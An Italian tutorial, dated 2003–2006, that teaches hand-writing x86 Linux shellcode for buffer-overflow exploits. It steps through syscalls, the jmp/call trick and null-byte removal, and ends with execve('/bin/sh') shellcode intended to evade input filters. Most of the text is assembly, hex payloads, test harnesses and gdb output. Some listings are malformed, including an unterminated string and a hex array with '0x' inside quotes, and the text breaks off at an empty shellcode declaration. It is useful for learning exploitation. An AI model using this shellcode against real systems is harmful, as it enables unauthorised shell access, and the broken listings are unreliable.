Abstract
In questo articolo verrà affrontata la problematica di come scrivere un
exploit, allo scopo di far eseguire ad un secondo programma vulnerabile
(solitamente a causa di un buffer overflow) un codice arbitrario,
passandoglielo all'interno di un buffer appositamente studiato.
Data di stesura: 02/11/2003
Data di pubblicazione:
12/01/2004
Ultima modifica: 04/04/2006
Come al solito, prima di iniziare, premetto che non mi assumo nessuna
responsabilità sull'uso "improprio" che potete fare di questo tutorial.
Il mio unico scopo è quello di farvi comprendere una delle parti
fondamentali del processo di attacco, da parte di un hacker, ad un
sistema remoto: la scrittura e rielaborazione del famoso "codice arbitrario"
da far eseguire al processo "exploitato", appunto dopo essersene impadroniti.
Introduzione
Nel tutorial che ho scritto riguardante il Buffer Overflow e la stesura di Exploit[1]
si è parlato appunto del processo di coding di un exploit, allo scopo di far eseguire
ad un secondo programma vulnerabile un codice arbitrario (che non era altro che il
codice che lanciava /bin/sh), passandoglielo all'interno di un buffer appositamente studiato.
Lo scopo di questo tutorial è infatti quello di capire in che modo viene realizzato
tale codice, detto solitamente ShellCode, poiché nella maggior parte dei casi
non è possibile utilizzarne uno già "codato", ma è necessario realizzarne uno appositamente
studiato per il processo da "exploitare".
Sicuramente chi già mi conosce si sarà reso conto che un tutorial del genere l'ho già
scritto in precedenza, chiamato proprio Creare un ShellC0de[2]. Tuttavia tra quel
tutorial e questo tutorial passa una bella differenza...
In primo luogo nel primo il codice Assembler dello ShellCode veniva ricavato
dal disassemblaggio del codice binario proveniente dalla compilazione di un sorgente C,
che appunto eseguiva la chiamata execve() su "/bin/sh"; in questo invece il codice
Assembler verrà scritto manualmente a partire da zero, ed è infatti proprio per
questo che è richiesta un'ottima conoscenza di questo linguaggio.
In secondo luogo nel primo tutorial, oltre che a dare molto per scontato alcuni
passi che secondo me erano troppo semplici per essere spiegati ho anche trattato
solamente la scrittura di un codice che appunto eseguisse una execve su "/bin/sh"
senza portare altri esempi, magari partendo da uno più semplice; dico questo
perché ho ricevuto moltissime email che me lo facevano notare... Infatti in questo
tutorial, oltre al fatto che cercherò di spiegare passo passo quello che si fa,
partirò anche da esempi basilari; da notare però che con esempi basilari intendo
sì esempi semplici, ma per chi già conosce il linguaggio Assembler, e che quindi
in realtà potrebbero sembrare molto complessi per chi non lo digerisce molto;
ma purtroppo questo non è un manuale di ASM, quindi se avete intenzione di proseguire
è meglio che sappiate a cosa state andando incontro!
Perché scrivere shellcode
Una domanda che molti si faranno è: "Ma perché devo imparare una cosa tanto complicata
se mi basta andare in giro per la rete e scaricare shellcode belli e fatti?!?"
Beh, la risposta che mi verrebbe subito di dare è che se non si ha voglia di imparare
è meglio lasciar stare (che fa anche rima).
Tuttavia il motivo principale è più tecnico che filosofico:
infatti quando il nostro target è un software di una certa complessità,
sicuramente non sarà sprovvisto di sistemi di sicurezza che tenteranno in tutti
i modi di filtrare i nostri attacchi e quindi di rendere i nostri sforzi vani.
Infatti le situazioni che in genere si possono trovare sono le seguenti:
Il programma in questione esegue delle funzioni, del tipo toUpper o toLower
(a prescindere con quale linguaggio sia stato scritto) su tutte le stringhe
che gli vengono passate. È ovvio che in questo caso se noi gli passassimo
un buffer contenente uno shellcode e se questo shellcode avesse per esempio
sia caratteri maiuscoli che minuscoli, una qualsiasi delle due funzioni
lo modificherebbe radicalmente rendendolo inutilizzabile. L'unico modo
quindi per aggirare questa protezione è quello di SCRIVERSI DA SÉ uno
shellcode rappresentato da tutti caratteri in minuscolo se il software
applica un toLower o tutti caratteri in maiuscolo se applica un toUpper.
Ovviamente questa non è per niente una cosa semplice...
Il programma in questione esegue un parsing delle stringhe che gli passiamo
(oppure il firewall dietro il quale gira lo fa) alla ricerca
di porzioni di testo a lui "familiari", in modo da capire se si tratta
di una semplice stringa o di un codice nocivo e quindi stabilire se far
passare il tutto oppure filtrarlo. Anche qui la stesura di uno shellcode
che non faccia insospettire il parser è abbastanza complessa...
Come questi sistemi di sicurezza ce ne sono moltissimi, grazie proprio alla fantasia
e all'abilità dei programmatori che li realizzano. Beh, noi dobbiamo essere altrettanto
furbi, realizzando ShellC0de perfetti e ben mascherati in modo da ingannare anche
il parser più sicuro che esista (non esiste...).
Penso che ora si sia ben capito il motivo per il quale il processo di stesura
dello shellcode è forse più importante di tutto il resto (dopo la ricerca del
bug che ci permette di farlo eseguire ovviamente!).
Lo shellcode
Sicuramente siete stati sempre abituati a vedere uno shellcode in questo modo:
come un susseguirsi di strani simboli che terminano con una
stringa a voi nota: "/bin/sh". Questa strana roba sembra non
avere senso, ma... sembra... infatti ha molto senso, basta
guardarla sotto un altro punto di vista:
char shellcode[]=
"\xeb\x1f" /* jmp +1F (31 byte) */
"\x5e" /* pop %esi */
"\x31\xc0" /* xor %eax,%eax */
"\x88\x46\x07" /* mov %al,0x7(%esi) */
/* etc etc.. */
"\x89\x76\x08\x89\x46"
"\x0c\x89\xf3\x8d\x4e\x08\x8d\x56"
"\x0c\xb0\x0b\xcd\x80\x31\xdb\x89"
"\xd8\x40\xcd\x80\xe8\xdc\xff\xff"
"\xff"
"/bin/sh";
Tutti questi simboli non sono altro che una rappresentazione
in linguaggio macchina (espresso in codice esadecimale) di un
chiaro codice assembler.
Non ci credete? Allora provate questo trucchetto che uso
per ricavare da uno shellcode il corrispondente codice ASM.
Create un file .pl (perl) del genere:
#!/usr/bin/perl -w
$shellcode=
"\xe9\x27\x00\x00\x00".
"\x5e".
"\x31\xc0".
"\x88\x46\x07".
"\x89\x76\x08".
"\x89\x46\x0c".
"\x89\xf3".
"\x8d\x4e\x08".
"\x8d\x56\x0c".
"\xb8\x0b\x00\x00\x00".
"\xcd\x80".
"\xbb\x00\x00\x00\x00".
"\xb8\x01\x00\x00\x00".
"\xcd\x80".
"\xe8\xd4\xff\xff\xff".
"/bin/sh";
open(FILE, ">shellcode.bin");
print FILE "$shellcode";
close(FILE);
in cui inserirete il vostro shellcode al posto di quello che ho messo io
(badate ai "." alla fine di ogni riga).
Basterà eseguirlo da una shell così:
bash-2.05b$ perl disassemble.pl
Verrà creato nella stessa directory un nuovo file, appunto "shellcode.bin".
Ora non resta che eseguire:
Come per miracolo ecco che ci viene stampato un codice ASM, corrispondente
proprio allo shellcode considerato. Se vi va potete anche automatizzare il tutto
con uno script bash come ho fatto io.
Tornando al nostro discorso, il classico stato in cui siete abituati
a vedere uno shellcode, è dato semplicemente da una conversione effettuata
con gdb del codice asm scritto, ma questo lo vedremo bene dopo.
Adesso iniziamo con la parte più interessante, la vera e propria
programmazione dello shellcode.
Esempio di un inutile shellcode
Per iniziare vediamo come realizzare un semplicissimo e allo stesso
tempo completamente inutile shellcode, che dopo uno sforzo mentale estremo
ho deciso di organizzare in questo modo: lo shellcode deve stamparci
a schermo il testo "sono inutile".
Allora vediamo un po' da dove iniziare: innanzitutto se state leggendo
questa parte presumo che abbiate già avuto esperienze con l'ASM, quindi
avrete una tecnica di programmazione già definita.
Scegliete quindi il modo che preferite per programmare, "codando" un file
*.ASM, *.S o come farò io, poichè mi sembra più comodo, inserire il tutto
in un "buono e sano" sorgente *.C.
Apriamo il nostro amato VIM e creiamo un nuovo file, che io chiamerò shellcode.c
tanto per rimanere nell'argomento, ed impostiamo la "maschera" di base per
"codare" codice asm:
main()
{
__asm__("
#qui il codice
");
}
Colgo l'occasione per rammentarvi che nel codice ASM possiamo commentare
anche con un "#" oltre che con i classici "//" e "/* */".
Il nostro scopo è quello di:
Stampare a schermo il testo "sono inutile"
Uscire in modo pulito dal programma, quindi con exit(0)
Per fare questo abbiamo bisogno delle così dette syscall, cioè di quelle chiamate
a funzioni proprie del kernel che ci permettono di eseguire le operazioni
fondamentali di sistema. In generale gran parte delle funzioni standard del C ha
una corrispondente syscall.
Ma infatti, in fin dei conti, ogni linguaggio, man mano che si sale di livello,
non è altro che un traduttore sempre più avanzato che converte il codice di
programmazione, semplice e facile da "codare", in codice asm, molto più complesso
e articolato.
Per una lista di tutte le i386-PC-Linux System Calls vi rimando alla
pagina http://www.lxhp.in-berlin.de/lhpsysc0a.html, che sarà per voi un
ottimo punto di riferimento.
Tornando al nostro shellcode, se vogliamo entrare più nel tecnico
le syscall che ci interessano sono sys_write e sys_exit
che necessitano rispettivamente dei seguenti argomenti:
sys_write:
dispositivo di output
puntatore alla stringa da stampare
numero di caratteri da stampare
sys_exit:
exit code (0 per una uscita corretta)
Vediamo ora come implementare la cosa:
main()
{
char *var;
var = "\nsono inutile\n"; /* 14 byte */
printf("\nOffset var: %p\n", var);
__asm__("
#write
movl $0xe,%edx
movl $0x8048454,%ecx
movl $0x1,%ebx
movl $0x4,%eax
int $0x80
#exit
movl $0x0,%ebx
movl $0x1,%eax
int $0x80
");
}
In questa prima versione, una parte del codice è stata
implementata in C per semplificare le cose.
Vediamo ora di esaminare per bene cosa fa.
Codice C:
Creazione del puntatore var
Assegnazione al puntatore var dell'indirizzo della stringa
Stampa dell'indirizzo della stringa, che sarà necessario nel codice ASM
Codice ASM:
Posizionamento degli argomenti di sys_write nei rispettivi registri
Posizionamento della lunghezza della stringa in %edx (14 byte = 0xe in HEX)
Posizionamento del puntatore alla stringa (restituito dalla printf) in %ecx
Posizionamento del riferimento al dispositivo di output in %ebx (stdout = 1)
Posizionamento in %eax del codice della syscall da chiamare (write = 4)
Si entra in kernel mode con l'interrupt $0x80
Posizionamento dell'exit code in %ebx (exitcode = 0)
Posizionamento in %eax del codice della syscall da chiamare (exit = 1)
Si entra in kernel mode con l'interrupt $0x80
Chiaro no?
Per quanto riguarda i codici delle syscall, essi sono elencati nel sito
che vi ho segnalato prima. Ovviamente l'ordine in cui passiamo
gli argomenti nei registri non è importante, infatti se invece di:
movl $0xe,%edx
movl $0x8048454,%ecx
movl $0x1,%ebx
movl $0x4,%eax
int $0x80
avessimo scritto:
movl $0x4,%eax
movl $0x1,%ebx
movl $0x8048454,%ecx
movl $0xe,%edx
int $0x80
sarebbe stata la stessa cosa, per il kernel linux non cambia.
Se invece ci fossimo trovati su un sistema BSD, dove gli argomenti
vanno inseriti via push nello stack, allora in quel caso
l'ordine sarebbe stato determinante.
Se ora si prova a compilare ed eseguire shellcode.c
si otterrà, come voluto :
bash-2.05b$ ./shellcode
Offset var: 0x8048454
sono inutile
bash-2.05b$
Ora però vogliamo raffinare il nostro codice, eliminando completamente
la parte in C e scrivendo il tutto in ASM.
La cosa non sembrerebbe molto difficile, infatti basterebbe allocare
la stringa con la funzione .string "sono inutile" e mettere al posto
di 0x8048454 l'indirizzo della stringa nel codice.
La cosa tuttavia non è così immediata... infatti.. quale sarebbe l'indirizzo
della stringa?
Per risolvere questo enigma si possono utilizzare vari metodi, tra i quali
io preferisco questo (che poi è il più usato):
Per comprendere questo schema facciamo prima un piccolo studio sulla funzione call.
La Call è una funzione ASM che permette di richiamare funzioni esterne al codice
del programma. Esse in genere prendono argomenti passati dal programma stesso tramite lo stack
e restituiscono un risultato, in genere passato sempre tramite stack.
Se come abbiamo detto quando viene effettuata la CALL la normale esecuzione del programma
salta ad un indirizzo di memoria specificato per eseguire la funzione, quando questa
terminerà come farà il programma a tornare ad eseguire dalla posizione da dove si
era interrotto per chiamare la CALL? È semplice, quando la call viene invocata
viene salvato sullo stack l'indirizzo subito successivo ad essa; viene poi eseguita
la funzione chiamata fino a quando non si incontra l'istruzione RET che in pratica
fa questo:
Interrompe l'esecuzione della funzione
Legge dallo stack l'indirizzo salvato in precedenza dalla call
Salta a quell'indirizzo
L'esecuzione del programma continua da questo punto
Questa caratteristica della CALL può essere usata a nostro favore;
Seguite infatti il mio ragionamento, che segue passo passo lo schema
sopra riportato:
JMP salta all'indirizzo 0x1
Viene invocata la CALL
Viene salvato l'indirizzo ad essa successivo (quindi l'indirizzo della stringa!) sullo stack
Salta all'indirizzo 0x2
POP prende il valore che è sullo stack (l'indirizzo della stringa) e lo mette in un registro
Bene adesso abbiamo l'indirizzo della stringa in un registro, e quindi possiamo usarlo
come meglio crediamo!
Utilizzando questo metodo otterremo un codice del genere:
main()
{
__asm__("
jmp 0x1
#0x2
pop %esi
#write
movl $0xe,%edx
movl %esi,%ecx
movl $0x1,%ebx
movl $0x4,%eax
int $0x80
#exit
movl $0x0,%ebx
movl $0x1,%eax
int $0x80
#0x1
call 0x2
.string \"\nsono inutile\n\"
");
}
Fin qui non dovrebbero esserci problemi, infatti non ho fatto
altro che applicare alla lettera la tecnica che ho spiegato sopra.
Ora non ci resta che sostituire agli indirizzi fittizi 0x1 con
quelli reali; per far questo compiliamo il nostro programma
(se volete potete provare ad avviare, ottenendo un errore di segmentazione!)
e disassembliamo con gdb:
bash-2.05b$ gdb shellcode
GNU gdb 6.0
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x0804830c <main+0>: push %ebp
0x0804830d <main+1>: mov %esp,%ebp
0x0804830f <main+3>: sub $0x8,%esp
0x08048312 <main+6>: and $0xfffffff0,%esp
0x08048315 <main+9>: mov $0x0,%eax
0x0804831a <main+14>: sub %eax,%esp
0x0804831c <main+16>: jmp 0x1
0x08048321 <main+21>: pop %esi
0x08048322 <main+22>: mov $0xe,%edx
0x08048327 <main+27>: mov %esi,%ecx
0x08048329 <main+29>: mov $0x1,%ebx
0x0804832e <main+34>: mov $0x4,%eax
0x08048333 <main+39>: int $0x80
0x08048335 <main+41>: mov $0x0,%ebx
0x0804833a <main+46>: mov $0x1,%eax
0x0804833f <main+51>: int $0x80
0x08048341 <main+53>: call 0x2
0x08048346 <main+58>: or 0x6f(%ebx),%dh
0x08048349 <main+61>: outsb %ds:(%esi),(%dx)
0x0804834a <main+62>: outsl %ds:(%esi),(%dx)
0x0804834b <main+63>: and %ch,0x6e(%ecx)
0x0804834e <main+66>: jne 0x80483c4 <__libc_csu_fini+52>
0x08048350 <main+68>: imul $0x90c3c900,0xa(%ebp,2),%ebp
0x08048358 <main+76>: nop
0x08048359 <main+77>: nop
0x0804835a <main+78>: nop
0x0804835b <main+79>: nop
0x0804835c <main+80>: nop
0x0804835d <main+81>: nop
0x0804835e <main+82>: nop
0x0804835f <main+83>: nop
End of assembler dump.
(gdb)
Come si nota il nostro codice va da <main+16> a <main+57>
(da notare che anche se la call è all'indirizzo <main+53> in realtà
trovandosi l'istruzione ad essa successiva a <main+58> significa che la
call arriva fino a <main+57>).
Ok allora, il JMP deve saltare alla CALL giusto?
Beh, la call si trova all'indirizzo 0x08048341, quindi l'istruzione sarà "jmp 0x08048341".
Allo stesso modo l'istruzione per la call sarà "call 0x08048321".
Mi raccomando, ricordate che gli indirizzi di memoria a cui
faccio riferimento, sul vostro sistema potrebbero essere DIFFERENTI!
Quindi non preoccupatevi se le cose non combaciano perfettamente,
basta sostituire gli indirizzi di cui parlo io con quello effettivi
sul vostro sistema.
Sostituiamo le istruzioni al listato di prima e otteniamo:
main()
{
__asm__("
jmp 0x08048341
#0x2
pop %esi
#write
movl $0xe,%edx
movl %esi,%ecx
movl $0x1,%ebx
movl $0x4,%eax
int $0x80
#exit
movl $0x0,%ebx
movl $0x1,%eax
int $0x80
#0x1
call 0x08048321
.string \"\nsono inutile\n\"
");
}
Compliliamo e avviamo e come ci si aspettava:
bash-2.05b$ ./shellcode
sono inutile
bash-2.05b$
Abbiamo realizzato un codice ASM funzionante.
Ora non dobbiamo far altro che convertire tale codice
in uno ShellC0de. Per fare questo disassembliamo di nuovo con il nostro fidato gdb,
tenendo presente che il codice che a noi interessa va da <main+16> a <main+57>:
bash-2.05b$ gdb shellcode
GNU gdb 6.0
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux"...
(gdb) x/50bx main+16
0x804831c <main+16>: 0xe9 0x20 0x00 0x00 0x00 0x5e 0xba 0x0e
0x8048324 <main+24>: 0x00 0x00 0x00 0x89 0xf1 0xbb 0x01 0x00
0x804832c <main+32>: 0x00 0x00 0xb8 0x04 0x00 0x00 0x00 0xcd
0x8048334 <main+40>: 0x80 0xbb 0x00 0x00 0x00 0x00 0xb8 0x01
0x804833c <main+48>: 0x00 0x00 0x00 0xcd 0x80 0xe8 0xdb 0xff
0x8048344 <main+56>: 0xff 0xff [qui] 0x73 0x6f 0x6e 0x6f 0x20
0x804834c <main+64>: 0x69 0x6e
(gdb)
Dando il comando x/50bx main+16, gdb ci mostra il codice HEX dei 50
byte successivi a <main+16>. Dovendo noi considerare il codice
fino a <main+57>, quello che ci interessa è fino al label [qui] che
ho inserito io.
Adesso copiamo il tutto in un nuovo file, aggiungendo la stringa da
stampare alla fine dello shellcode e utilizzando 3 semplici
righe di codice C per avviare lo shellcode. In generale
per testare uno shellcode si usa sempre un programmino del genere.
In alternativa si può chiamare al solito una funzione
del tipo __asm__("call indirizzo_shellcode");.
Come preferite.
char shellcode[]=
"0xe9 0x20 0x00 0x00 0x00 0x5e 0xba 0x0e"
"0x00 0x00 0x00 0x89 0xf1 0xbb 0x01 0x00"
"0x00 0x00 0xb8 0x04 0x00 0x00 0x00 0xcd"
"0x80 0xbb 0x00 0x00 0x00 0x00 0xb8 0x01"
"0x00 0x00 0x00 0xcd 0x80 0xe8 0xdb 0xff"
"0xff 0xff"
"\nsono inutile\n";
main()
{
int *ind;
ind = (int *)&ind + 2;
(*ind) = (int)shellcode;
}
Ora diamo una riordinata allo shellcode, eliminando gli spazi e sostituendo
gli spazi e gli "0x" con "\x"; per far questo usate tranquillamente la funzione find-replace del vostro
editor di testo preferito. Io per VIM utilizzerò "s/ 0/\\/g10".
Otteniamo quindi (questa volta ho utilizzato l'altro metodo per avviare lo shellcode):
bash-2.05b$ ./shell
Indirizzo shellcode: 0x8049480
sono inutile
bash-2.05b$
Mh ... non vi è sembrata troppo facile la cosa?!?
Possibile non ci sia nessun intoppo?!?
Beh, in effetti ... pensiamo:
Noi stiamo scrivendo uno shellcode che utilizzeremo probabilmente in un exploit ...
L'exploit sfrutterà una qualche vulnerabilità... molto probabilmente un uso improprio
di funzioni com strcpy(), strcat() & company
Ma comunque anche se usasse qualsiasi altro tipo di vulnerabilità sarà
molto probabile che lo shellcode passerà attraverso una qualche funzione di quelle,
comprese per esempio anche strncpy(), etc ... qualsiasi di queste insomma!
Beh, a questo punto ci viene un grosso dubbio ... infatti se conoscete un po' di struttura
del software (in particolare riguardo il C) saprete che una stringa viene individuata
in memoria tramite due punti di riferimento, il punto di inizio e il punto di fine che
sono rappresentati rispettivamente dall'indirizzo della stringa e dal byte NULLO che la termina.
Infatti se io passassi il nostro shellcode ad un software qualsiasi, esso al 98% userà
una funzione str* su di essa e nel momento in cui tale funzione incontrerà
un byte nullo (0x0 o in stile shellcode \x00, per la cronaca) lo interpreterà
come fine stringa!!! copiando quindi fino al byte ad esso subito precedente e scartando
tutto quello che viene dopo!
Questo è un grosso problema per noi! Un grossissimo problema! Non possiamo permetterci
di perdere pezzi di shellcode, come immaginerete non funzionerebbe più!
L'unico modo per ovviare a tutto ciò è quello di modificare il codice ASM
in modo che, convertito in HEX (per lo shellcode), non contenga NESSUN byte nullo.
La cosa sembrerebbe alquanto ardua, ma in realtà non lo è più di tanto per degli
esperti "Assemblari" come noi!
Per iniziare vediamo un po' di organizzare per bene il nostro shellcode affiancandogli
dei commenti che rappresentano la funzione ASM corrispondente; per far questo
basta disassemblare shellcode.c e vedere da quanti byte è costituita ogni istruzione,
riportando il tutto su shell.c.
Una cosa che volevo far notare prima di iniziare con le modifiche è
il fatto che per esempio l'istruzione "jmp 0x8048341" viene
tradotta in "\xe9\x20\x00\x00\x00"; bene ora \xe9 rappresenta jmp,
ma possibile che x20 rappresenti 0x8048341?!? Certo che no ...
Infatti 0x8048341 è un indirizzo che varia da sistema a sistema,
quindi ovviamente non può essere incluso in uno shellcode che
deve girare sotto sistemi differenti. Infatti il nostro caro gdb al
momento del disassemblamento ha ricavato che 0x8048341 si riferiva
ad un indirizzo di memoria presente 32 byte dopo lo stesso jmp (contate se non
ci credete) e non ha fatto altro che dire a jmp: "salta 32 byte dopo di te"
che tradotto in HEX (32 = 0x20) "jmp 0x20". Ecco perché il nostro
shellcode funzionerà su qualsiasi sistema e a qualsiasi indirizzo viene
posizionato!
La stesa cosa è stata fatta per la CALL.
Metodo 1
Tornando al nostro shellcode, ci sono veramente molti null byte da eliminare,
in particolare nelle funzioni mov in cui spostiamo un valore in un registro.
Questo per il semplice fatto che i registri usati sono a 32 bit e ci stiamo
mettendoci dentro valori a 8 bit; quindi nei restanti 24 bit che ci mettiamo?
Null Byte ovviamente.
Ecco che quindi abbiamo già trovato una possibile soluzione:
usiamo registri a 8 bit invece di quelli a 32.
Vi riporto un piccolo schemino dei registri:
32 Bit 16 Bit 8 Bit (High) 8 Bit (Low)
EAX AX AH AL
EBX BX BH BL
ECX CX CH CL
EDX DX DH DL
Con questo semplice metodo risolveremmo il problema nelle istruzioni mov
ma comunque rimarrebbe in jmp. Quindi essendo il metodo dei registri
molto semplice da attuare preferisco convertire lo shellcode
con metodi differenti e anche un po' più carini in modo da prepararvi
a qualsiasi evenienza per la vostra carriera di Assembly Coders!
Ci sono infatti moltissimi metodi per eliminare questi null byte,
se ne possono inventare anche di nuovi quando si è capita la tecnica
e secondo me è proprio questa la parte più divertente di tutto il lavoro.
È proprio grazie a queste tecniche che ogni shellcode differisce dall'altro.
Sono sicuro che se ognuno di voi che legge realizzasse uno shellcode,
alla fine quelli ottenuti sarebbero l'uno diverso dall'altro, ed è proprio questo il bello!
Torniamo allo shellcode e ai nostri NULL byte.
Consideriamo la terza istruzione:
"\xba\x0e\x00\x00\x00" /* mov $0xe,%edx */
Metodo 2
Allora, il nostro scopo è quello di ottenere alla fine di qualsiasi cosa
facciamo il valore 0xe, quindi 14 in decimale, in %edx. Ok pensiamo!
Il problema sta nel fatto che noi copiamo un valore ad 8 bit in un
registro a 32 bit, quindi ovviamente i 24 bit rimanenti, nei quali
il valore non è definito, sono riempiti con dei 0x0.
Se noi facessimo un giochetto:
mettiamo in %edx un valore a 32 bit tipo 0xffffffff che quindi non lascerà null byte
sottraiamo da %edx un valore tale che il risultato della sottrazione sia proprio 0xe, quindi 14
in %edx avremo proprio 14!
Vediamo come fare
(munitevi di una calcolatrice scientifica che vi serve):
Semplice no?
Il nostro scopo è raggiunto: abbiamo 0xe in %edx senza che sia generato nessun null byte.
Metodo 3
Allora, pensando un momento mi viene in mente qualche altra cosetta:
se noi azzerassimo %edx e poi creassimo un ciclo che lo incrementa di 1 fino a quando
non equivale a 14?
Proviamo:
xorl %edx,%edx
#0x1
inc %edx
cmp $0xe,%edx
jne 0x1 #salta di nuovo all' inc
A questo punto inseriamo il codice al posto del mov in shellcode.c, compiliamo, disassembliamo
e risistemiamo tutti gli indirizzi del jmp, della call (che saranno cambiati a causa
dell'inserimento delle nuove istruzioni) e del jne.
Volendo questo è un metodo utilizzabile sempre, in modo da non dover mettersi
a fare conti.
Metodo 4
Quando si deve posizionare proprio un byte nullo in un registro, come nell'istruzione:
movl $0x0,%ebx
basta resettare il registro bit per bit con
xorl %ebx,%ebx
Già starete capendo che ci sono infiniti metodi di risoluzione del problema dei null byte,
basterà mettere in moto la fantasia!
L'unica scomodità potrebbe risiedere nel fatto che ad ogni modifica bisogna andare a ricontrollare
tutti gli argomenti di funzioni come jmp e call, poiché inserendo nuove istruzioni modifichiamo
la lunghezza del codice e quindi gli indirizzi a cui si trovano le varie istruzioni cambiano.
Tramite questi metodi ho ora modificato tutto il codice precedente,
ottenendo questo:
main()
{
__asm__("
jmp 0x08048344
pop %esi
#write
#movl $0xe,%edx
xorl %edx,%edx
inc %edx
cmp $0xe,%edx
jne 0x08048324
#non va cambiata
movl %esi,%ecx
#movl $0x1,%ebx
xorl %ebx,%ebx
inc %ebx
#movl $0x4,%eax
movl $0xffffffff,%eax
subl $0xfffffffb,%eax
int $0x80
#exit
#movl $0x0,%ebx
xorl %ebx,%ebx
#movl $0x1,%eax
xorl %eax,%eax
inc %eax
int $0x80
#0x1
call 0x08048321
.string \"\nsono inutile\n\"
");
}
Ho commentato il comando originale e sotto ho messo quelli che
lo sostituiscono.
Compilando, disassemblando, riportando il tutto in shell.c e commentando
lo shellcode con i relativi comandi otteniamo:
Ok, un po' più lunghetto ma non fa niente.
Sono sicuro che ora vi starete chiedendo: "Mi sa che Roland non si è accorto di
aver lasciato dei Null Byte nella funzione jmp"
Beh, in effetti ci sono, ma non perché me li sono dimenticati!
Infatti anche per quella funzione avrei potuto applicare i metodi
descritti prima ma ho preferito non farlo per cogliere l'occasione
di spiegarvi un altro metodo.
Come ho detto prima
"\xe9\x23\x00\x00\x00" non rappresenta "jmp 0x8048344"
ma in questo caso dice "salta 35 byte avanti", poiché 0x23 = 35.
Tuttavia quando questa "modifica" dell'indirizzo di memoria in byte
da saltare viene fatta da gdb questo alloca comunque un indirizzo a 32 bit
che è proprio \x23\x00\x00\x00 corrispondente a 0x00000023.
La nostra astuzia sta nell'allocare semplicemente un indirizzo ad 8 bit,
quindi eliminando direttamente i null byte. Ma a questo punto la funzione xe9
non è più corretta con un indirizzo a 8 bit e quindi va sostituita con xeb
che è proprio il comando di jmp per un indirizzo appunto ad 8 bit.
Eseguita la modifica otteniamo:
Ed ecco finalmente il lavoro finito!
Uno shellcode funzionante, senza nul byte, che appena avviato
ci fa notare la sua inutilità, facendoci rendere conto
che siamo dei "volponi" a perdere tutto questo tempo dietro
un programma del genere!
Shellcode per exploit locali
Ed ecco ora la parte più interessante: ci accingeremo a "codare"
uno ShellC0de vero e proprio, cioè che quando viene lanciato
ci apre una bella shell.
Ovviamente anche questo è uno shellcode per exploit locali.
Questa volta però, sia per motivi di tempo che di voglia,
non spiegherò passo per passo il procedimento seguito poiché
a grandi linee è lo stesso usato per lo ShellC0de "Inutile".
Iniziamo con lo scrivere il codice ASM che ci permette
di lanciare "/bin/sh". Per far questo abbiamo bisogno
della funzione execve() identificata dalla syscall numero 11, 0xb in esadecimale.
execve() richiede i seguenti argomenti:
puntatore a /bin/sh
puntatore al puntatore a /bin/sh
puntatore a NULL
Poi ovviamente va inserita la solita funzione exit(0) per non incappare in un ciclo infinito.
Per rendere più semplice la comprensione della syscall execve() ho preparato un
piccolo schemino che rappresenta lo stato della memoria su cui lavora tale syscall:
/bin/sh#PPPPNNNN
# = byte nullo di fine stringa
P = Puntatore alla stringa
N = Byte Nulli
Quindi il nostro codice deve:
terminare /bin/sh con un byte NULLO (#)
mettere l'indirizzo di /bin/sh in %ebx
mettere l'indirizzo di PPPP, quindi l'indirizzo dove si trova il puntatore
a /bin/sh in %ecx
mettere l'indirizzo di NNNN in %edx
Come fatto per l'esempio precedente per ricavare l'indirizzo della stringa
useremo anche questa volta il trucchetto del jmp e della call.
Detto questo, vediamo cosa viene fuori:
main()
{
__asm__("
jmp 0x08048348
pop %esi
xorl %eax,%eax
#termino /bin/sh
movb %ah,0x7(%esi)
#muovo il puntatore a /bin/sh subito dopo il null byte
movl %esi,0x8(%esi)
#muovo il NULL byte dopo il puntatore a /bin/sh
movl %eax,0xc(%esi)
#carico l'indirizzo effettivo di PPPP in %ecx
leal 0x8(%esi),%ecx
#carico l'indirizzo effettivo di NNNN in %edx
leal 0xc(%esi),%edx
#carico l'indirizzo di /bin/sh in %ebx
movl %esi,%ebx
movl $0xb,%eax
int $0x80
#exit(0)
movl $0x0,%ebx
movl $0x1,%eax
int $0x80
call 0x08048321
.string \"/bin/sh\"
");
}
I commenti dovrebbero sciogliere ogni dubbio.
Al solito, compiliamo e disassembliamo: dal listato ci si rende conto
che il nostro codice va da <main+16> a <main+64>.
Diamo il comando:
e come prima copiamo il tutto in un secondo file (shell.c),
sostituendo ad ogni "0x" uno "\x".
Otteniamo:
char shellcode[]=
"\xe9\x27\x00\x00\x00\x5e\x31\xc0"
"\x88\x66\x07\x89\x76\x08\x89\x46"
"\x0c\x8d\x4e\x08\x8d\x56\x0c\x89"
"\xf3\xb8\x0b\x00\x00\x00\xcd\x80"
"\xbb\x00\x00\x00\x00\xb8\x01\x00"
"\x00\x00\xcd\x80\xe8\xd4\xff\xff"
"\xff"
"/bin/sh";
main()
{
printf("\nIndirizzo shellcode: %p\n", shellcode);
__asm__("call 0x8049480");
}
Classico Shellcode pieno di Null byte. Ma questa volta
siamo preparati e pronti a risolvere il problema.
Utilizzando i metodi prima descritti modifichiamo il codice
ASM riottenendone uno adatto al nostro scopo.
Io l'ho modificato in questo modo:
char shellcode[]=
"\xe9\x00\x00\x00 /* jmp 0x8048340 */
"\x5e" /* pop %esi */
"\x31\xc0" /* xor %eax,%eax */
"\x88\x46\x07" /* mov %al,0x7(%esi) */
"\x89\x76\x08" /* mov %esi,0x8(%esi) */
"\x89\x46\x0c" /* mov %eax,0xc(%esi) */
"\x8d\x4e\x08" /* lea 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* lea 0xc(%esi),%edx */
"\x89\xf3" /* mov %esi,%ebx */
"\xb0\x0b" /* mov $0xb,%al */
"\xcd\x80" /* int $0x80 */
"\x31\xdb" /* xor %ebx,%ebx */
"\x89\xd8" /* mov %ebx,%eax */
"\x40" /* inc %eax */
"\xcd\x80" /* int $0x80 */
"\xe8\xdc\xff\xff\xff" /* call 0x8048321 */
"/bin/sh";
main()
{
printf("\nIndirizzo shellcode: %p\n", shellcode);
__asm__("call 0x8049480");
}
Anche in questo caso il problema del jmp si risolve
utilizzando la funzione per indirizzi a 8 bit 0xeb ed
eliminando semplicemente i Null Byte.
Otteniamo:
char shellcode[]=
